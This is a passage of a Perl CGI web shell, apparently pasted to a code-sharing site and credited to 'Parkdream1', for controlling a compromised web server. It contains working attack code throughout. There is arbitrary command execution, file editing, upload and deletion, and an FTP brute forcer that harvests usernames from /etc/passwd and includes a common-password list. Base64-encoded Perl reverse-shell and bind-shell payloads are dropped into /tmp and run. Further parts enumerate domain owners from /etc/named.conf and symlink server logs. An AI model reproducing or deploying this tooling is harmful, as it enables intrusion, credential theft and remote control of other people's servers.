  881. my $result="";
  882. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  883. if(!$WinNT)
  884. {
  885. $SIG{'ALRM'} = \&CommandTimeout;
  886. alarm($CommandTimeoutDuration);
  887. }
  888. if($ShowDynamicOutput) # show output as it is generated
  889. {
  890. $|=1;
  891. $Command .= " |";
  892. open(CommandOutput, $Command);
  893. while(<CommandOutput>)
  894. {
  895. $_ =~ s/(\n|\r\n)$//;
  896. $result .= &HtmlSpecialChars("$_\n");
  897. }
  898. $|=0;
  899. }
  900. else # show output after command completes
  901. {
  902. $result .= &HtmlSpecialChars('$Command');
  903. }
  904. if(!$WinNT)
  905. {
  906. alarm(0);
  907. }
  908. return $result;
  909. }
  910. #==============================================================================
  911. # Form Save File
  912. #==============================================================================
  913. sub SaveFileForm
  914. {
  915. my $result ="";
  916. substr($RunCommand,0,5)="";
  917. my $file=&trim($RunCommand);
  918. $save='<br><input name="a" type="submit" value="save" class="submit" >';
  919. $File=$CurrentDir.$PathSep.$RunCommand;
  920. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  921. if(-w $File)
  922. {
  923. $rows="23"
  924. }else
  925. {
  926. $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>";
  927. $rows="20"
  928. }
  929. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  930. $read=($WinNT)?"type":"less";
  931. $RunCommand = "$read \"$RunCommand\"";
  932. $result .= <<END;
  933. <form name="f" method="POST" action="$ScriptLocation">
  934.  
  935. <input type="hidden" name="d" value="$CurrentDir">
  936. $Prompt
  937. <input type="text" size="40" name="c">
  938. <input name="s" class="submit" type="submit" value="Enter">
  939. <br>Command: <run> $RunCommand </run>
  940. <input type="hidden" name="file" value="$file" > $save <br> $msg
  941. <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  942. END
  943.  
  944. $result .= &RunCmd;
  945. $result .= "</textarea>";
  946. $result .= "</form>";
  947. return $result;
  948. }
  949. #==============================================================================
  950. # Save File
  951. #==============================================================================
  952. sub SaveFile($)
  953. {
  954. my $Data= shift ;
  955. my $File= shift;
  956. $File=$CurrentDir.$PathSep.$File;
  957. if(open(FILE, ">$File"))
  958. {
  959. binmode FILE;
  960. print FILE $Data;
  961. close FILE;
  962. return 1;
  963. }else
  964. {
  965. return 0;
  966. }
  967. }
  968. #------------------------------------------------------------------------------
  969. # Brute Forcer Form
  970. #------------------------------------------------------------------------------
  971. sub BruteForcerForm
  972. {
  973. my $result="";
  974. $result .= <<END;
  975.  
  976. <table>
  977.  
  978. <tr>
  979. <td colspan="2" align="center">
  980. ####################################<br>
  981. Simple FTP brute forcer<br>
  982. ####################################
  983. <form name="f" method="POST" action="$ScriptLocation">
  984.  
  985. <input type="hidden" name="a" value="bruteforcer"/>
  986. </td>
  987. </tr>
  988. <tr>
  989. <td>User:<br><textarea rows="18" cols="30" name="user">
  990. END
  991. chop($result .= `less /etc/passwd | cut -d: -f1`);
  992. $result .= <<'END';
  993. </textarea></td>
  994. <td>
  995.  
  996. Pass:<br>
  997. <textarea rows="18" cols="30" name="pass">123pass
  998. 123!@#
  999. 123admin
  1000. 123abc
  1001. 123456admin
  1002. 1234554321
  1003. 12344321
  1004. pass123
  1005. admin
  1006. admincp
  1007. administrator
  1008. matkhau
  1009. passadmin
  1010. p@ssword
  1011. p@ssw0rd
  1012. password
  1013. 123456
  1014. 1234567
  1015. 12345678
  1016. 123456789
  1017. 1234567890
  1018. 111111
  1019. 000000
  1020. 222222
  1021. 333333
  1022. 444444
  1023. 555555
  1024. 666666
  1025. 777777
  1026. 888888
  1027. 999999
  1028. 123123
  1029. 234234
  1030. 345345
  1031. 456456
  1032. 567567
  1033. 678678
  1034. 789789
  1035. 123321
  1036. 456654
  1037. 654321
  1038. 7654321
  1039. 87654321
  1040. 987654321
  1041. 0987654321
  1042. admin123
  1043. admin123456
  1044. abcdef
  1045. abcabc
  1046. !@#!@#
  1047. !@#$%^
  1048. !@#$%^&*(
  1049. !@#$$#@!
  1050. abc123
  1051. anhyeuem
  1052. iloveyou</textarea>
  1053. </td>
  1054. </tr>
  1055. <tr>
  1056. <td colspan="2" align="center">
  1057. Sleep:<select name="sleep">
  1058.  
  1059. <option>0</option>
  1060. <option>1</option>
  1061. <option>2</option>
  1062.  
  1063. <option>3</option>
  1064. </select>
  1065. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1066. </form>
  1067. </table>
  1068. END
  1069. return $result;
  1070. }
  1071. #------------------------------------------------------------------------------
  1072. # Brute Forcer
  1073. #------------------------------------------------------------------------------
  1074. sub BruteForcer
  1075. {
  1076. my $result="";
  1077. $Server=$ENV{'SERVER_ADDR'};
  1078. if($in{'user'} eq "")
  1079. {
  1080. $result .= &BruteForcerForm;
  1081. }else
  1082. {
  1083. use Net::FTP;
  1084. @user= split(/\n/, $in{'user'});
  1085. @pass= split(/\n/, $in{'pass'});
  1086. chomp(@user);
  1087. chomp(@pass);
  1088. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1089. foreach $username (@user)
  1090. {
  1091. if(!($username eq ""))
  1092. {
  1093. foreach $password (@pass)
  1094. {
  1095. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1096. if($ftp->login("$username","$password"))
  1097. {
  1098. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1099. $ftp->quit();
  1100. break;
  1101. }
  1102. if(!($in{'sleep'} eq "0"))
  1103. {
  1104. sleep(int($in{'sleep'}));
  1105. }
  1106. $ftp->quit();
  1107. }
  1108. }
  1109. }
  1110. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1111. }
  1112. return $result;
  1113. }
  1114. #------------------------------------------------------------------------------
  1115. # Backconnect Form
  1116. #------------------------------------------------------------------------------
  1117. sub BackBindForm
  1118. {
  1119. return <<END;
  1120. <br><br>
  1121.  
  1122. <table>
  1123. <tr>
  1124. <form name="f" method="POST" action="$ScriptLocation">
  1125. <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1126. <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1127. Port: <input type="text" size="7" name="clientport" value="6789" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1128.  
  1129. <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1130. </form>
  1131. </tr>
  1132. <tr>
  1133. <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1134. <br>[+] Try check your Port with $ENV{'SERVER_NAME'}</a>
  1135. <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">6789</span></run></font></td>
  1136.  
  1137. </tr>
  1138. </table>
  1139.  
  1140. <br><br>
  1141. <table>
  1142. <tr>
  1143. <form method="POST" action="$ScriptLocation">
  1144. <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1145.  
  1146. <td> Port: <input type="text" size="15" name="clientport" value="6868" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1147.  
  1148. Password: <input type="text" size="15" name="bindpass" value="parkdream1"></td>
  1149. <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1150. </form>
  1151. </tr>
  1152. <tr>
  1153. <td colspan=3><font color=#FFFFFF>[+] Bind Port before connect back!
  1154. <br>[+] Try check your Port with $ENV{'SERVER_NAME'}</a>
  1155. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">6868</span></run></font></td>
  1156.  
  1157. </tr>
  1158. </table><br>
  1159. END
  1160. }
  1161. #------------------------------------------------------------------------------
  1162. # Backconnect use perl
  1163. #------------------------------------------------------------------------------
  1164. sub BackBind
  1165. {
  1166. use MIME::Base64;
  1167. use Socket;
  1168. $backperl="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJseW54IjsKJHN5c3RlbT0gJ2VjaG8gIiI7CmVjaG8gIlsrXSBNYXJpb24wMDEgQmFjayBDb25uZWN0IFRoYW5oIENvbmcgIjsKZWNobyAiWytdIEZCOiBodHRwczovL3d3dy5mYWNlYm9vay5jb20vUGFydHkuTWFyaW9uMDAxIjsKZWNobyAiWytdIE1haWw6IE1yLk1hcmlvbjAwMUBnbWFpbC5jb20iO2VjaG8gIiI7CmVjaG8gIlstXSBVbmFtZSAtYToiO2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gIiI7CmVjaG8gIlstXSBpZDoiO2VjaG8gImBpZGAiO2VjaG8gIiI7ZWNobyAiWy1dIHB3ZDoiOwplY2hvICJgcHdkYCI7ZWNobyAiIjtlY2hvICJbK10gQ29tbWFuZCBNYXJpb24wMDE+IjtlY2hvIiI7L2Jpbi9zaCc7CiQwPSRjbWQ7CiR0YXJnZXQ9JEFSR1ZbMF07CiRwb3J0PSRBUkdWWzFdOwokaWFkZHI9aW5ldF9hdG9uKCR0YXJnZXQpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKc3lzdGVtKCRzeXN0ZW0pOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7";
  1169. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1170.  
  1171. $ClientAddr = $in{'clientaddr'};
  1172. $ClientPort = int($in{'clientport'});
  1173. if($ClientPort eq 0)
  1174. {
  1175. return &BackBindForm;
  1176. }elsif(!$ClientAddr eq "")
  1177. {
  1178. $Data=decode_base64($backperl);
  1179. if(-w "/tmp/")
  1180. {
  1181. $File="/tmp/backconnect.pl";
  1182. }else
  1183. {
  1184. $File=$CurrentDir.$PathSep."backconnect.pl";
  1185. }
  1186. open(FILE, ">$File");
  1187. print FILE $Data;
  1188. close FILE;
  1189. system("perl backconnect.pl $ClientAddr $ClientPort");
  1190. unlink($File);
  1191. exit 0;
  1192. }else
  1193. {
  1194. $Data=decode_base64($bindperl);
  1195. if(-w "/tmp")
  1196. {
  1197. $File="/tmp/bindport.pl";
  1198. }else
  1199. {
  1200. $File=$CurrentDir.$PathSep."bindport.pl";
  1201. }
  1202. open(FILE, ">$File");
  1203. print FILE $Data;
  1204. close FILE;
  1205. system("perl bindport.pl $ClientPort");
  1206. unlink($File);
  1207. exit 0;
  1208. }
  1209. }
  1210. #------------------------------------------------------------------------------
  1211. # Array List Directory
  1212. #------------------------------------------------------------------------------
  1213. sub RmDir($)
  1214. {
  1215. my $dir = shift;
  1216. if(opendir(DIR,$dir))
  1217. {
  1218. while($file = readdir(DIR))
  1219. {
  1220. if(($file ne ".") && ($file ne ".."))
  1221. {
  1222. $file= $dir.$PathSep.$file;
  1223. if(-d $file)
  1224. {
  1225. &RmDir($file);
  1226. }
  1227. else
  1228. {
  1229. unlink($file);
  1230. }
  1231. }
  1232. }
  1233. closedir(DIR);
  1234. }
  1235. if(!rmdir($dir))
  1236. {
  1237.  
  1238. }
  1239. }
  1240. sub FileOwner($)
  1241. {
  1242. my $file = shift;
  1243. if(-e $file)
  1244. {
  1245. ($uid,$gid) = (stat($file))[4,5];
  1246. if($WinNT)
  1247. {
  1248. return "???";
  1249. }
  1250. else
  1251. {
  1252. $name=getpwuid($uid);
  1253. $group=getgrgid($gid);
  1254. return $name."/".$group;
  1255. }
  1256. }
  1257. return "???";
  1258. }
  1259. sub ParentFolder($)
  1260. {
  1261. my $path = shift;
  1262. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1263. chop($path = `$Comm`);
  1264. return $path;
  1265. }
  1266. sub FilePerms($)
  1267. {
  1268. my $file = shift;
  1269. my $ur = "-";
  1270. my $uw = "-";
  1271. if(-e $file)
  1272. {
  1273. if($WinNT)
  1274. {
  1275. if(-r $file){ $ur = "r"; }
  1276. if(-w $file){ $uw = "w"; }
  1277. return $ur . " / " . $uw;
  1278. }else
  1279. {
  1280. $mode=(stat($file))[2];
  1281. $result = sprintf("%04o", $mode & 07777);
  1282. return $result;
  1283. }
  1284. }
  1285. return "0000";
  1286. }
  1287. sub FileLastModified($)
  1288. {
  1289. my $file = shift;
  1290. if(-e $file)
  1291. {
  1292. ($la) = (stat($file))[9];
  1293. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1294. $y = $y + 1900;
  1295. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1296. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1297. return $lmtime;
  1298. }
  1299. return "???";
  1300. }
  1301. sub FileSize($)
  1302. {
  1303. my $file = shift;
  1304. if(-f $file)
  1305. {
  1306. return -s $file;
  1307. }
  1308. return "0";
  1309.  
  1310. }
  1311. sub ParseFileSize($)
  1312. {
  1313. my $size = shift;
  1314. if($size <= 1024)
  1315. {
  1316. return $size. " B";
  1317. }
  1318. else
  1319. {
  1320. if($size <= 1024*1024)
  1321. {
  1322. $size = sprintf("%.02f",$size / 1024);
  1323. return $size." KB";
  1324. }
  1325. else
  1326. {
  1327. $size = sprintf("%.2f",$size / 1024 / 1024);
  1328. return $size." MB";
  1329. }
  1330. }
  1331. }
  1332. sub trim($)
  1333. {
  1334. my $string = shift;
  1335. $string =~ s/^\s+//;
  1336. $string =~ s/\s+$//;
  1337. return $string;
  1338. }
  1339. sub AddSlashes($)
  1340. {
  1341. my $string = shift;
  1342. $string=~ s/\\/\\\\/g;
  1343. return $string;
  1344. }
  1345. sub ListDir
  1346. {
  1347. my $path = $CurrentDir.$PathSep;
  1348. $path=~ s/\\\\/\\/g;
  1349. my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1350. if(-d $path)
  1351. {
  1352. my @fname = ();
  1353. my @dname = ();
  1354. if(opendir(DIR,$path))
  1355. {
  1356. while($file = readdir(DIR))
  1357. {
  1358. $f=$path.$file;
  1359. if(-d $f)
  1360. {
  1361. push(@dname,$file);
  1362. }
  1363. else
  1364. {
  1365. push(@fname,$file);
  1366. }
  1367. }
  1368. closedir(DIR);
  1369. }
  1370. @fname = sort { lc($a) cmp lc($b) } @fname;
  1371. @dname = sort { lc($a) cmp lc($b) } @dname;
  1372. $result .= "<div><table width='90%' class='listdir'>
  1373.  
  1374. <tr style='background-color: #3e3e3e'><th>File Name</th>
  1375. <th style='width:100px;'>File Size</th>
  1376. <th style='width:150px;'>Owner</th>
  1377. <th style='width:100px;'>Permission</th>
  1378. <th style='width:150px;'>Last Modified</th>
  1379. <th style='width:260px;'>Action</th></tr>";
  1380. my $style="line";
  1381. my $i=0;
  1382. foreach my $d (@dname)
  1383. {
  1384. $style= ($style eq "line") ? "notline": "line";
  1385. $d = &trim($d);
  1386. $dirname=$d;
  1387. if($d eq "..")
  1388. {
  1389. $d = &ParentFolder($path);
  1390. }
  1391. elsif($d eq ".")
  1392. {
  1393. $d = $path;
  1394. }
  1395. else
  1396. {
  1397. $d = $path.$d;
  1398. }
  1399. $result .= "<tr class='$style'>
  1400.  
  1401. <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>";
  1402. $result .= "<td>DIR</td>";
  1403. $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>";
  1404. $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1405. $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>";
  1406. $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>";
  1407. $result .= "</tr>";
  1408. $i++;
  1409. }
  1410. foreach my $f (@fname)
  1411. {
  1412. $style= ($style eq "line") ? "notline": "line";
  1413. $file=$f;
  1414. $f = $path.$f;
  1415. $view = "?dir=".$path."&view=".$f;
  1416. $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>";
  1417. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1418. $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>";
  1419. $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1420. $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>";
  1421. $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>";
  1422. $result .= "</tr>";
  1423. $i++;
  1424. }
  1425. $result .= "</table></div>";
  1426. }
  1427. return $result;
  1428. }
  1429. #------------------------------------------------------------------------------
  1430. # Try to View List User
  1431. #------------------------------------------------------------------------------
  1432. sub ViewDomainUser
  1433. {
  1434. open (d0mains, '/etc/named.conf') or $err=1;
  1435. my @cnzs = <d0mains>;
  1436. close d0mains;
  1437. my $style="line";
  1438. my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Copyright (C) Parkdream1</font></h3>";
  1439. if ($err)
  1440. {
  1441. $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1442. return $result;
  1443. }else
  1444. {
  1445. $result .= '<table><tr><th>Domains</th> <th>User</th></tr>';
  1446. }
  1447. foreach my $one (@cnzs)
  1448. {
  1449. if($one =~ m/.*?zone "(.*?)" {/)
  1450. {
  1451. $style= ($style eq "line") ? "notline": "line";
  1452. $filename= "/etc/valiases/".$1;
  1453. $owner = getpwuid((stat($filename))[4]);
  1454. $result .= '<tr class="$style" width=50%><td><a href=\'http://'.$1.'\'>'.$1.' </td><td> '.$owner.'</td></tr>';
  1455. }
  1456. }
  1457. $result .= '</table>';
  1458. return $result;
  1459. }
  1460. #------------------------------------------------------------------------------
  1461. # View Log
  1462. #------------------------------------------------------------------------------
  1463. sub ViewLog
  1464. {
  1465. if($WinNT)
  1466. {
  1467. return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1468. }
  1469. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1470. my @pathlog=(
  1471. '/usr/local/apache/logs/error_log',
  1472. '/var/log/httpd/error_log',
  1473. '/usr/local/apache/logs/access_log'
  1474. );
  1475. my $i=0;
  1476. my $perms;
  1477. my $sl;
  1478. foreach my $log (@pathlog)
  1479. {
  1480. if(-w $log)
  1481. {
  1482. $perms="OK";
  1483. }else
  1484. {
  1485. chop($sl = `ln -s $log error_log_$i`);
  1486. if(&trim($ls) eq "")
  1487. {
  1488. if(-r $ls)
  1489. {
  1490. $perms="OK";
  1491. $log="error_log_".$i;
  1492. }
  1493. }else
  1494. {
  1495. $perms="<font style='color: red;'>Cancel<font>";
  1496. }
  1497. }
  1498. $result .=<<END;
  1499. <tr>
  1500.  
  1501. <form action="" method="post">
  1502. <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td>
  1503. <td><input class="submit" type="submit" value="Try" /></td>
  1504. <input type="hidden" id="log_$i" name="c" value="less $log"/>
  1505. <input type="hidden" name="a" value="command" />
  1506. <input type="hidden" name="d" value="$CurrentDir" />
  1507. </form>
  1508. <td>$perms</td>
  1509.  
  1510. </tr>
  1511. END
  1512. $i++;
  1513. }
  1514. $result .="</table>";
  1515. return $result;
  1516. }
  1517. #------------------------------------------------------------------------------
  1518. # Main Program - Execution Starts Here
  1519. #------------------------------------------------------------------------------
  1520. &ReadParse;
  1521. &GetCookies;
  1522.  
  1523. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1524. $ServerName = $ENV{'SERVER_NAME'};
  1525. $LoginPassword = $in{'p'};
  1526. $RunCommand = $in{'c'};
  1527. $TransferFile = $in{'f'};
  1528. $Options = $in{'o'};
  1529. $Action = $in{'a'};
  1530.  
  1531. $Action = "command" if($Action eq ""); # no action specified, use default
  1532.  
  1533. # get the directory in which the commands will be executed
  1534. $CurrentDir = &trim($in{'d'});
  1535. # mac dinh xuat thong tin neu ko co lenh nao!
  1536. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1537. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1538.  
  1539. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1540.  
  1541. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1542. {
  1543. &PerformLogin;
  1544. }elsif($Action eq "gui") # GUI directory
  1545. {
  1546. &PrintPageHeader;
  1547. if(!$WinNT)
  1548. {
  1549. $chmod=int($in{'chmod'});
  1550. if(!($chmod eq 0))
  1551. {
  1552. $chmod=int($in{'chmod'});
  1553. $file=$CurrentDir.$PathSep.$TransferFile;
  1554. chop($result= `chmod $chmod "$file"`);
  1555. if(&trim($result) eq "")
  1556. {
  1557. print "<run> Done! </run><br>";
  1558. }else
  1559. {
  1560. print "<run> Sorry! You dont have permissions! </run><br>";
  1561. }
  1562. }
  1563. }
  1564. $rename=$in{'rename'};
  1565. if(!$rename eq "")
  1566. {
  1567. if(rename($TransferFile,$rename))
  1568. {
  1569. print "<run> Done! </run><br>";
  1570. }else
  1571. {
  1572. print "<run> Sorry! You dont have permissions! </run><br>";
  1573. }
  1574. }
  1575. $remove=$in{'remove'};
  1576. if($remove ne "")
  1577. {
  1578. $rm = $CurrentDir.$PathSep.$remove;
  1579. if(-d $rm)
  1580. {
  1581. &RmDir($rm);
  1582. }else
  1583. {
  1584. if(unlink($rm))
  1585. {
  1586. print "<run> Done! </run><br>";
  1587. }else
  1588. {
  1589. print "<run> Sorry! You dont have permissions! </run><br>";
  1590. }
  1591. }
  1592. }
  1593. print &ListDir;
  1594.  
  1595. }
  1596. elsif($Action eq "command") # user wants to run a command
  1597. {
  1598. &PrintPageHeader("c");
  1599. print &ExecuteCommand;
  1600. }
  1601. elsif($Action eq "save") # user wants to save a file
  1602. {
  1603. &PrintPageHeader;
  1604. if(&SaveFile($in{'data'},$in{'file'}))
  1605. {
  1606. print "<run> Done! </run><br>";
  1607. }else
  1608. {
  1609. print "<run> Sorry! You dont have permissions! </run><br>";
  1610. }
  1611. print &ListDir;
  1612. }
  1613. elsif($Action eq "upload") # user wants to upload a file
  1614. {
  1615. &PrintPageHeader;
  1616.  
  1617. print &UploadFile;
  1618. }
  1619. elsif($Action eq "backbind") # user wants to back connect or bind port
  1620. {
  1621. &PrintPageHeader("clientport");
  1622. print &BackBind;
  1623. }
  1624. elsif($Action eq "bruteforcer") # user wants to brute force
  1625. {
  1626. &PrintPageHeader;
  1627. print &BruteForcer;
  1628. }elsif($Action eq "download") # user wants to download a file
  1629. {
  1630. print &DownloadFile;
  1631. }elsif($Action eq "checklog") # user wants to view log file
  1632. {
  1633. &PrintPageHeader;
  1634. print &ViewLog;
  1635.  
  1636. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1637. {
  1638. &PrintPageHeader;
  1639. print &ViewDomainUser;
  1640. }elsif($Action eq "logout") # user wants to logout
  1641. {
  1642. &PerformLogout;
  1643. }
  1644. &PrintPageFooter;
Add Comment
Please, Sign In to add comment